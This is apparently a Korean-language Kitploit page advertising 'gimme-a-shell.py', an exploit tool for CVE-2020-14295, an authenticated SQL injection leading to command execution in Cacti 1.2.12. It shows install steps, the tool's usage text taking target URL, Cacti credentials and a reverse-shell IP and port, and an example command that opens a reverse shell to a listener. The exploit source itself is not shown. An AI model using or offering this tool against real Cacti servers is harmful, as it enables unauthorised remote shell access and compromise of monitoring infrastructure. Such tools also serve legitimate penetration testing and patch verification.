CVE-2020-14295 — Cacti 1.2.12에서 인증된 SQL 인젝션을 통한 명령 실행 | Kitploit

CVE-2020-14295

취약점 세부 정보 - https://github.com/Cacti/cacti/issues/3622

설치

pip3 install -r requirements.txt

사용법

$ ./gimme-a-shell.py --help
usage: gimme-a-shell.py [-h] -t Target -U Username -P Password -i Shell-IP -p Shell-Port

optional arguments:
  -h, --help     show this help message and exit

required arguments:
  -t Target      Target URL
  -U Username    Cacti username
  -P Password    Cacti password
  -i Shell-IP    Reverse-Shell IP
  -p Shell-Port  Reverse-Shell Port

예제

./gimme-a-shell.py -t http://cacti.localhost -U admin -P admin -i 127.0.0.1 -p 9001

도구 다운로드